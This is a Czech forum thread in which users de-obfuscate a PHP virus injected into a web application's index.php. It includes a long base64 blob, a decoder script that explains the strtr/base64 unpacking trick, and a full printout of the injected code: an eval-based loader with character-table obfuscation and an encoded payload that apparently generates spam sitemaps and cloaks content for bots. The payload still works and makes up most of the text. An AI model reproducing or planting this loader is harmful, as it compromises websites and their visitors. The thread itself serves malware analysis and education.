AYIulJYulJYulJYulJYulJYulJYulJYulJOwdgO8lJb9MsOpcsIJapOX0WRuaJdeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYulJYulJYulJOwdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJYulJYulJYuli3TdUO9rihlvituTzF0nJYulJYulJYulJYulJYulJYulJYulJYuliBAeUcutsOiyUtKlN3E5UOQ9JbAyUO9cztpkiYJ+P3pkPoKlN2k0iB1XNYSbPBkLihSzUcSKiopjgoArgB9aNcD8C2iyUtK+sOpcsbX0WRu6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapO1XNOETNI4tCcNapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsbW6U3SkUISaUcSkZOkrWRGXsY9bU250sdqINd4tCIEeWREFCIN6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapO1XNOETNI4tCcNapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYulJYulJYE3iBJlshuvgRE0NV93iBJapreyCcNapOWyW2wICINyN2k0iB1XNY5FgRu/iOV0ix0tCIETiY4tptEkUou9pc4vWOwjNY4tptWkPd0tCIEeU3A0CINbZO1LshNapOE0CINbUBVFWRkFix0tCIEjPoS0ZoSkCINbgRE0Nf0tCIEeWREFzF0nJYulJYulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeib9FiB4epO1XNOETNI4tCcNapRXjUO5XUBQLJYp3JIvTZF0nJYulJYulJYulJYulJYulJYE4UBFlshS0NbkjnRAjU3w0iO8epRWkPIvTzF0nJYulJYulJYulJYulJYulJOkbnRA0NbkrWRJepRXjUYFtUb8lP3pkPoKlUBVFpcvTZF0nJYulJYulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5aUcSdNbwXWYSjPouXsY9bU250sIN7fKelJYulJYulJYulJYulJYulJYulJOw4goK7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulJYulJYEjZBiTUOQlshSbU3SkUIlvUBVFiOkcCINypc4vZO1LUbVjihFlJtNInxLAYIulJYulJYulJYulJYulJYSbW3pTWOQepO15ibkLihFlpRXjUYv7fKelJYulJYulJYulJYulJYulibALU3AknYEjZBiTUOQTzF0nJYulJYulJYulJYulJYulJOwdgO8lJb9MsOpcsIJapOX0WRuaJdeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJOidUO9rihlvUokbgBqknxLAYIulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5dNbwXWYSrgoEkUBVFJOiXgBqkJD5yJVSkNb1TN3ATU25rJxFyib9aWf48PtJ+gRE0NfeyCcNapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vUBVFiOkcCINypc4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYSkP2XyJYJ8PtJ+JI4vW2wIzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSTiIXbU3SkUIlvZO1LUbVjihFlJtNInhk7fKelJYulJYulJYulJYulJYulpRXjUYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulJYulJYulJYulJYulgBPeN3EcgoA0NIlvZO1LCYWaUcSdNbwXWYSjPoutnhk7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsb5yJOAciBV0JO1XNYD8C2iyUtK+prLAYIulJYulJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulpO15ibkLihu9JOiyNOwanYE4UBqaPB1kCYuIWcJTzF0nJYulJYulJYulJYulJYulJOi3Nbk0ihlvUokbgBqkCYuvZO1LnxLAYIulJYulJYulJYulJYulJYSbP2qyN2QepO15ibkLihv7fKelJYulJYulJYulJYulJYuliBAeUcuIU2L8PtJ+JI4vgRE0NY4IzI8yJI4vo1AVQkiVQkLthVEQQV9Jx1AQp10aJI8ICIE4UBqaPB1kzF0nJYulJYulJYulJYulJYulJOwdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulibALU3AknYEjZBiTUOQTzF0nJYulJYulJYulJYulJYulJOwdgO8lprqbU250JRA0ZBqkshpdU2qyNdTciBKIsbAciBV0JRATWOwjPoulibVTUOQlxb8lQOwcUBkrN2kyUtGXsY9bU250sdqINd4tCIEeWREFCIN6Cc8tCIEHQ0whwvwhBcWJwVEKo0XsQ1Ktoh4ICcJapRXjUO5XUBQ7fKelJYulJYulJYulJYulJYuliBAeUcuIsOpcsIJapRWkPdLAYIulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9fKelJYulgBPepOkvnoLAYIulJYulJYulKOXkPBEkNIlIK29aWOwaWY10ZoSkzIS0ioX0C2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulpRWkPIu9JYEeWREFo3WkPI4tzI8ypc4vi293iBJapc9TUbEkZY5FgRu/WopLshNapRATWOQapciTif0tCIETiY4tptEkUou9pc4vWOwjNY4tpbE0shNapOE0CINbW2wIshNapOXyN3Kapci6Zd0tCtAjgoAIU3Kenh4tpbALU2AMshNapOALU2AMCINbWopTshNapRAjWopTCINbWopLN2XXUbN9pc4vWopLN2XXUbNapcieWREFshNapOX0WRu7fKelJYulJYulJYEeWO1Lo2AyUtEkUtKlshS0NbkjnRAjU3w0iO8epRWkPIvTzF0nJYulJYulJYSTiIlXN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp25yPb90WoAkNbVtiB50pcvTZF0nJYulJYulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYulJYulpOX0UBqHP29aWOwaWYu9JRA0Nk9cioSLPBAknYpyg2X0UBqtioEdU250iB50JIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJYulJYSkP2XyJYEeWO1Lo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtK1GfSFPBWkpcvTZF0nJYulJYulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfQFGYSpUtEkNb5XUYSxiop2ioJlEopcU3JtnxLAYIulJYulJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfKFARSXi2Qtnhk7fKelJYulJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlAfu0JD5yWYSOU3waiYNTzF0nJYulJYulJYulJYulJYulJOw4goKenxLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJR0AYt1kURAkZF0nfKelJYulpRWkPIu9JYEeWREFo3WkPI4tzI8ypc4vi293iBJapc9TUbEkZY5FgRu/WopLshNapRATWOQapciTif0tCIETiY4tptEkUou9pc4vWOwjNY4tpbE0shNapOE0CINbW2wIshNapOXyN3Kapci6Zd0tCtAjgoAIU3Kenh4tpbALU2AMshNapOALU2AMCINbWopTshNapRAjWopTCINbWopLN2XXUbN9pc4vWopLN2XXUbNapcieWREFshNapOX0WRu7fKelJYulpOX0UBqHP29aWOwaWYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulgBPeJoA0NtA0NIlvgREjUV9dU250iB50CYWaU2pyWRwriopXi2waWYNTnoLAYIulJYulJYulKOXkPBEkNIlIK29aWOwaWY10ZoSkzIS0ioX0C2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJb9MgREjUOWkWOAyUtEkUtKICYNtCYEeWO1Lo2AyUtEkUtKTzF0nJYulJYulJYulJYuliBAeUcuvgREjUV9dU250iB50zF0nJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfQFGRSXi2Qtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYWJwVEKCrDaGhu1GfulhB50iopaPBFlQ2wcWbwcJDwcNb9cpcv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR1kURAkJOkbnRA0NtA0NIlvgREjUV9dU250iB50CYWtioEdU250iB50Afu0NOVtihNTnoLAYIulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfKFAYSzU3KlEb91UbKtnxLAYIulJYulJYulJYulJOw4goKenxLAYIulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtKrGfVFPBWkpcvTZF0nJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlGruqJD1yWbwvJVSkNb1XUbwaWOq5pcv7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJbWkWOAyUtEkUtKrGfVFPBWkJIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJOXkPBEkNIltxO9dPoETU246JYNapOX0UBqHP29aWOwaWYv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR0AYl0nJYulJR0AYt0AYl0nitwaP3ETU24lN21TN2pyWYlTJRLAYIulJYuvPBWkUtKlshSrWRp0U2qyW2wcnYEHQ0whwvwhBcWJwVEKo1wxEwpHKQWVxkKtohv7fKelJYulgBPlnYEXi2waWYuXshuIJIvlZF0nJYulJYulJYuvi29yi2qkKb90Jf0lPopcPoveJvWyU2WLiBpyWYJLJkkXgO9yJhSxURwcNYJLJkkXgO9yJVALWopFJIFIE29yi2qkJDVvQ2waN2QICYWtU29tUOQtCYutZBVeU28tnxLAYIulJYulJYulib9ciBVdgYuepOWyU2WLiQpyWYSXNcuvWbVLnhS7fKelJYulJYulJYulJYuvN3EcJf0lN3EcWO9LU3WkNIlvWbVLnxLAYIulJYulJYulJYulJOkbJYXrWRpFU3GepOVtiB50CYuvN3EcnhvlZF0nJYulJYulJYulJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9fKelJYulHBwLN2w7fKelJYulJYulJRpkWRwcUISbPBqrixLAYIulJYS9fKT9fKTbWB5dWOkyUISrUB90gOwcPb90nYvlZF0nJYulJYEXi2waWYu9JRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHwwAVQk9SE0wzwYWWnxLAYIulJYSTiIuepOVtiB50JYD9JYJInhS7fKelJYulJYulJYErNOkviopxgoEkJf0lPopcPovlnYpQiB5diB50wRpXWbwLioJICYpjN25IU3KICYpxU3AyN3STiOwcncJLJkAyi291JRWkPISrNOkvioJICYpTPw9XNbAegoikNIJLJkkyWBEXU0pyWYJLJv1xxvpyWYJLJvTXWbDlnD9bWOwaJRAFPB0lPb90nhJLJvpXgQE1Q3STiOwcJIFIwb9TUODICYpiPB5viollPb90JIFIKkAFgBEkNIJLJtE3gBAkUOwcJIFIQ29tU3QlQ3STiOwcJIFIQ3SkiBE5JVAFgBEkNIJLJvXkNbk0Nbk4JIFIQRk0gO9aCowcUOqTPIJLJvVLioXXJYXpKhSSNbAegoikNIvICYpSN2LICYpVZOVIU3KICYpfWoA0UcJLJv91WOiyZDpyWY9iU2EXU0pyWYJLJtkXP3vICYpxWop2iokYU3KICYpLiBWrJIFIURWFCoEcgoiTPBFICYpzWoEdgYJLJkA0PBAMQbVjPbqkNIJLJkEeihS3iBJlPopdgOk2ihuehQDlKopdgOk2ioJTJIFIQOwcUYS0U29LJIFIxQeqGbpyWYJLJv5kWOAcPBi0JIFIxwApEQAcPoWLioJICYpoE2w0JREyU2qrJIFIUOVcPbkaJIFIEbkrgYSriBVcP2lICYutPbkai2pyWYNLJYWIPBkvWhNLJYWXU2FtCYutPbkaicNLJYWiPB5vioXYU3KtCYutKBXciBirKb90pcv7fKelJYulJYulJOiyNbwXP2llnYErNOkviopxgoEkJOVrJYE2PBFTJRLAYIulJYulJYulJYulJYErWRJlshSrWRp0U2qyW2wcnYE2PBFTzF0nJYulJYulJYulJYulgBPlnRA0NtSyNclvPBWkUtKLJYErWRJTnhS7fKelJYulJYulJYulJYulJYulNbw0WopaJREcWBQ7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9iBqrioLAYIulJYulJYulNbw0WopaJOiXURAkzF0nJYulJR0AYt0AYbi1UbA0gB9aJRAjU3w0iO8epRwcUYk7fKelJYulpOiTUOwHP29aWOwaWRGlshSuibkLiw9tioEHP29aWOwaWRGepRwcUYv7fKelJYulgBPlnYDvibkLiw9dU250iB50NcvlZF0nJYulJYulJYuvP2llshSdWopLo2kagoKenxLAYIulJYulJYulP3wcUV9rioEyNRKepOAeCYSfwwpGx1SQo1whxYFlpRwcUYv7fKelJYulJYulJOA1NbqHN2w0U3S0nYEdgYFlK1whxD9KwV9hEwEwQv5QQvVzQ0iVQIFqnxLAYIulJYulJYulpOiTUOwHP29aWOwaWRGlshSdWopLo2w4iBGepOAenxLAYIulJYulJYulP3wcUV9dUO9rihlvP2lTzF0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwHP29aWOwaWRG7fKT9fKTbWB5dWOkyUISLgoA0EOkcnYEvgoJTZF0nJYulJYEbgBqkPopcJf0lPopcPovenxLAYIulJYSTiIXTN19vgoJepOETNIvTZF0nJYulJYulJYSTiIuepOEeJf0lU3SkUbETNIlviOkcnhk7fKelJYulJYulJYulJYS3gOkLihuenYEbgBqkJf0lNbwXiOETNIlviOlTnhuXsx0libVLN2QTZF0nJYulJYulJYulJYulJYulJOkbnYXbgBqko2w4goA0NclviOkcCIJyJI4vibkLihvTJYPbJYEbgBqkJx0ICIJlpIPlpOiTUOQXshJaCIJTZF0nJYulJYulJYulJYulJYulJYulJYuvibkLiBVcNkjWJf0lpOiTUOQ7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulP2qyN2wvgoJepOEenxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwXNtJ7fKT9fKe/sl=="; //$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))) echo $O00O0O."("; echo $O0OO00."("; echo $OO0O00."(,"; //echo $O0O000.","; echo ($OO0000*2)."),"; echo $OO0O00."(,"; //echo $O0O000.","; echo $OO0000.","; echo $OO0000.")"; echo $OO0O00."(,0,"; //echo $O0O000.",0,"; echo $OO0000."))))"; echo "\n\n"; echo $OO0O00($O0O000,$OO0000*2)."\n\n"; echo $OO0O00($O0O000,$OO0000,$OO0000)."\n\n"; echo $OO0O00($O0O000,0,$OO0000); Ve výsledku je tento rozbalovač postavený takto: base64_decode(strtr(substr($2nd_enkrypt,104),substr($2nd_enkrypt,52,52)substr($2nd_enkrypt,0,52)))) Já jsem si na indexu říkal, proč skládá do proměnné i znaky "52" a takto je proměnná využita ve druhém rozbalení jako odrozjebnutí rozjebaného base64 enkryptu (kvůli týpkům, podobným nám, snažící se to rozluštit jen pomocí base64 dekodéru - který jim díky rozjebnutí vyflusne tak leda hovno) Zásadní je zde funkce strtr (https://www.php.net/manual/en/function.strtr.php) - proháže znaky v enkryptu. Samotný base64 enkrypt začíná až na 105 znaku, prvních 104 znaků je maska pro strtr funkci k přeházení písmen.
  4. Zdravíčko přátelé, tak mě zase po delší době potkala milá věc - PHP virus, injektovaný do index.php webové aplikace. Prozatím ještě nevíme, jakým způsobem se útočníkovi povedlo prolámat se dovnitř a vložit do indexu vlastní kód, nicméně jsem alespoň rozlámal "šifrování" tohoto viru a rád bych se s vámi podělil o výsledky k bádání a edukaci Šifrování kódu (jestli se tomu vůbec šifra dá říkat) bylo vskutku velmi jednoduché - několikrát opečený kód v base64_encode, pomocí eval zase rozbalený. Kód byl ovšem psaný na PHP verzi 5.6 a na PHP 7+ není funkční, útočník tedy nespáchal žádnou škodu, kromě několika hodin vypadlého webu, než si někdo všiml že to vlastně nejede. (Hlásil error 500) Celý inject vypadal takto: <?php @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss281_285_289_291_new.xml'; $dt = 0; $sitemap_file = 'sitemap'; $mapnum = 2000; $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iVFN1SndocnBCdm1uQVZHS0xPY1dOalFpWHlsVUN0Z3NGWkVQWW9EcWFNa0h4emZkZWJSSXhoYXBGWE1UU3lidHV3T25Dek5CQWRLSW9ja1FZamxMVmlEc1BlZm1nR3ZScXJIV1pVRUpzZjlGZ1J1bGZLZXZnYkVUTkl1OUpZTnR6RjBucE9YMFdSU0hXMndJSmYwbHAyWDBXUnV0ekYwbmdCUGVnb0FIZ1JFME5SR2VuaGs3ZktlbHBPWDBXUnVsc2h1dGdSRTBOUkd0ekYwbkhCd0xOMnc3ZktlbHBPWDBXUnVsc2h1dGdSRTBOWU43ZktUOWZLZXZOMjExTmJrSFdPMUZKZjBsTjIxY2lvVjFpb0EwbzN3Y2dobFR6RjBuZ0JQZXBSQWpXb3BUbzNFak5mMDlwY05UWkYwbkpZdWxKWUVyVW93Y2d3OTBVb3U5cGM4dHpGMG5ISzBucFJHbHNodXRQSU5hcDJWcml4UHRDSU4wbzJRdENJV2FQMjl2aWhON2ZLZXZOMjExTmJ2bHNodXZOY2x2TjIxMU5ia0hXTzFGbnhMQVliaTFVYkEwZ0I5YUpSQWpOYndxV0J3cldWOTFOYnZlbm9MQVlJdWxKWVNUaUl1ZWdvQXJpb0tlcFY5eEV3cEJFd3BVcDFwVlF3d1ZRMUVId3dwcHAxMFRub0xBWUl1bEpZdWxKWXVscFJBaldvcFRKZjBscFY5eEV3cEJFd3BVcDFwVlF3d1ZRMUVId3dwcHAxMDdmS2VsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSk9rYm5Pa3JOMncwbllFSFEwd2h3dndoQmNXWE5iVzJwMTBUbm9MQVlJdWxKWXVsSll1bEpZdWxKWUVyVW93Y2dodTlKWUVIUTB3aHd2d2hCY1dLaFZTSFEwd0dFSVdXSlk0bHByOHRKWTRscFY5eEV3cEJFd3BVcDJWY2kzUHRvd0xGb3hMQVlJdWxKWXVsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSll1bEpZdXZOMjExTmJ2bHNodXZvMUFWUWtpVlFrTHRRRFhLbzFBVnhEUHRvaHVhSllOL3BjdWFKWUVIUTB3aHd2d2hCY1dFd1F3aEJ3OXh3VnBweHZOdG94TEFZSXVsSll1bEpZdWxISzBuSll1bEpSMEFZSXVsSllTY2lvRTFOYjRscFJBaldvcFR6RjBuSEswbnBPV3lXMndJSmYwbHAyRTBnT2tjV1J2amlCa3RnUktjQ3RBVGkyaXlaT2l5V0I1dlBvRVRVMjV0Q3RBZVUzdXR6RjBucFJTWE4zQTNVM3B2SmYwbFVCSzFuTzF2QWhYdXBWOVJFd0VVcDNTdnAxMFRueExBWWJrYkpZbHZOT1ZyTjNXeU5iS2xzeDBscHJ3YlBiUHJBYlAyUGRERkFyU1hpQkcyQUJQRkdPQUl6T1FyQUJHNVAyRzBwY3ZsWkYwbkpZdWxKWUVYaU9FSFAyOWFXT3dhV1l1OUpEdXZvMFdWd1ZMdFVCVkZVYlZqaWhXV3pGMG5KWXVsSllFWFAzRVRVMjRsc2hTdXBWOVJFd0VVcDJWZFdPa3lVSVdXekYwbkpZdWxKWUV2VTIxWGdCNGxzaFN1cFY5UkV3RVVwMkV5VUJWVFVJV1d6RjBuSll1bEpPa2JuWUV2VTIxWGdCNFRaRjBuSll1bEpZdWxKWXV2Z085cldZdTlKWUV2VTIxWGdCNDdmS2VsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSllFZVUzQTBKZjBscFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV3pGMG5KWXVsSlIwQVlJdWxKWXV5Q2NFZVUzQTBKZjBscFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV3pGMG5KWXVsSllFRlBvRWVKZjBsaU9rY1ViVmppaFhIbzBpcHhEd0hvY3Y3ZktlbEpZdWxnQlBlcE9WZFdPa3lVZDA5cDNTVFViTnRub0xBWUl1bEpZdWxKWXVsQ2M5ZVdSRUZOcmV5QzNXM1djNXRVMjl0VU9RYVAyOWpDM1NUVWJOL04yazBpQjFYTmYxZVdSRUZOcmV5QzJ3NFBCMUZVT1FhUDI5akMzQVRXT3dqUG91YVpPMUxmS2VsSll1bEpZdWxKT2tiblJBME50QTBOSWx2UEJFdm8yQXlVdEVrVXRLTHBjNTRVQkZ0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVNUaUlYVE4xOWVXUkVGTmNsVG5vTEFZSXVsSll1bEpZdWxKWXVsSll1bEpZdXZpT1YwUHc5YWlvTmxzaHV0Z1JFME5SRzZDYzkzVzNOYWkyOXlpMnFrQ2JBeVVoOUZnQjV0czNBVFdPd2pQb3U5cGM0dGdSRTBOUkc2Q2M4dENJRWVVM0EwQ0lOeXBjNHZQQkV2bzJBeVV0RWtVdEs3ZktlbEpZdWxKWXVsSll1bEpZUzlpQnFyaW9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1dmlPVjBQdzlhaW9ObHNodXRnUkUwTlJHNkNjOTNXM05haTI5eWkycWtDYkF5VWg5RmdCNXRzM0FUV093alBvdTlwYzR0Z1JFME5mZXlDY05hcE9YeU4zS2FwYzh0Q0lFWGlPRUhQMjlhV093YVdmTEFZSXVsSll1bEpZdWxKWXVsSlIwQVlJdWxKWXVsSll1bEpZdWxKWTh5UTJrMGlCMVhOZmVsZ1JFME5mZXlDM1czV2M1dFdCRVhVYldyaUJYWFdZNWRVMjB5VUJWRmdCNXZpb2xhWk8xTGZLZWxKWXVsSll1bEpZdWxKWVNUaUlYcldScFROM0VjblJBalUzdzBpTzhlcE9FWFdPVkhVYnczbmhGdGkyOXlpMnFrcGN2VFpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPd2RnTzhscHJxSU5kNXlncnFJTmQ0dHpGMG5KWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxpQkFlVWN1dmlPVjBQdzlhaW9OYXBycUlOZDVGZ0I1dEpPaVhVUkFrSnhxSU5kNHR6RjBuSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZUzlpQnFyaW9MQVlJdWxKWXVsSll1bEpZdWxKT3dkZ084bHBycUlOZDVyZ29Fa1VCVkZKTzVYVUJRbGliVkxOMlFYc09wY3NJTjdmS2VsSll1bEpZdWxKUjBBWUl1bEpZdWxKWXVsaW9YVFdmTEFZSXVsSllTOWZLZUFZSXVsSll1dmlia0xpdzlGUG9FZUpmMGxwUlNYV09sYXBjOWNVMnB5V1JHYVdSWDBwckxBWUl1bEpZU1RpSWxYcE9WZFdPa3lVSWs3ZktlbEpZdWxKWXVsSllFWFAzRVRVMjRsc2h1dE5SdzBwckxBWUl1bEpZUzlmS2VsSll1bGdCUGVwT1ZkV09reVVJdTlzaHV0TlJ3MHBjazdmS2VsSll1bEpZdWxKT2tiblJBME50QTBOSWx2UEJFdm8yQXlVdEVrVXRLTHBjNTRVQkZ0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVNUaUlYYmdCcWtvMnc0Z29BME5jbHZpYmtMaXc5RlBvRWVuaGs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVscE9FWFdPRGxzaFNyVUI5MVdPRXluWUViZ0Jxa28zU1hXT2xUekYwbkpZdWxKWXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bHBPRVhXT0Rsc2h1dHdvQWtOSTFYaTJ3YVdmZWxubDBuS0JxTFUzTjZKWTh0ekYwbkpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWXVsSll1bGdCUGVOM0VjTjNFY25ZRXZQb0VYQ1lOeXBjNHZQQkV2bzJBeVV0RWtVdEtUbm9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44UHRKK04yazBpQjFYTllTWFVScGtQQkU1Sk9WdmlPd3ZKeHFJTmQ0dHpGMG5KWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxnQlBlZ29BSGdSRTBOUkdlbmhrN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWUV2UG9FWG8yNWtXY3U5SlJFY2dCMGVwT0VYV09EVENJcE5Oa3FhSkk0dFEyazBpQjFYTmZlbGdSRTBOUkc2Q2M4dENJRWVVM0EwQ0lOeXBjNHZQQkV2bzJBeVV0RWtVdEs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSllFdlBvRVhvMjVrV2N1OUpSRWNnQjBlcE9FWFdPRFRDSXBOTmtxYUpJNHRRMmswaUIxWE5mZWxnUkUwTmZleUNjTmFwT1h5TjNLYXBjOHRDSUVYaU9FSFAyOWFXT3dhV2ZMQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpZdWxKWXVsSll1bENjOXhnb0VrVUJWRnpJU2VXUkVGekk4eVczVzNDYlcxaU9WYWkzQWtnT1YwQ2JBeVVoOWpQb1NUVWJFa1pZNTRVQkZBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNUaUlYYmdCcWtvM1MxV1Y5ZFUyNTBpQjUwTmNsdmlia0xpdzlGUG9FZUNZRXZQb0VYbzI1a1djdlRKUkxBWUl1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bGlCQWVVY3V0c09wY3NiOU1zT3Bjc0lON2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpPd2RnTzhscHJxSU5kNWJnQnFrSlJXY2dvRWtKT2lYVVJBa0p4cUlOZDR0ekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSlIwQVlJdWxKWXVsSll1bEpZdWxKUjBBWUl1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44UHRKK04yazBpQjFYTllTYVBCMWtKT2lYVVJBa0p4cUlOZDR0ekYwbkpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpPa2JKWVhyV1JwcldSSmVwT1Z2aVY5ZFUyNTBpQjUwQ1l1dEN0U2VOWU5UbmhTN2ZLZXBZS3Z2UGh1OUpPMXZBaFhqaWZRZUtZRUhFMHdRQmNXWHAxMFRueExBWWx2cFloRUlKZjBsVUJLMW5PMXZBaFh1cFY5UkV3RVVwMkp0b2h2VHpGMG5ZS3ZwZ0JQZXBPRDlzb0FqVTN3MGlPOGVwMlgwV1J1NkNjOHRDSUV0VTNXa1BJNHRDMkRhTk9YRnBjdmxIUkZscE9KOXNoTmNHQkcwaWZ1ckdCRXZHZHY1R2ZEckF4aVh6eFZJRzJ3YlAyQVhHZkRyR1lOVFpGMG5ZS3ZwWWhFclVvQTBOSXU5SkR1dm8wV1Z3Vkx0TjIxcldSSnRveExBWWx2cFlLa1RpSVhiZ0Jxa28zUzFXVjlkVTI1MGlCNTBOY2x2Tk9WMGdZdWFKWU55cGN1YUpZRVhpT0VIUDI5YVdPd2FXWUZscFJBak4zRWNuaGs3ZktlcFlLdnBZ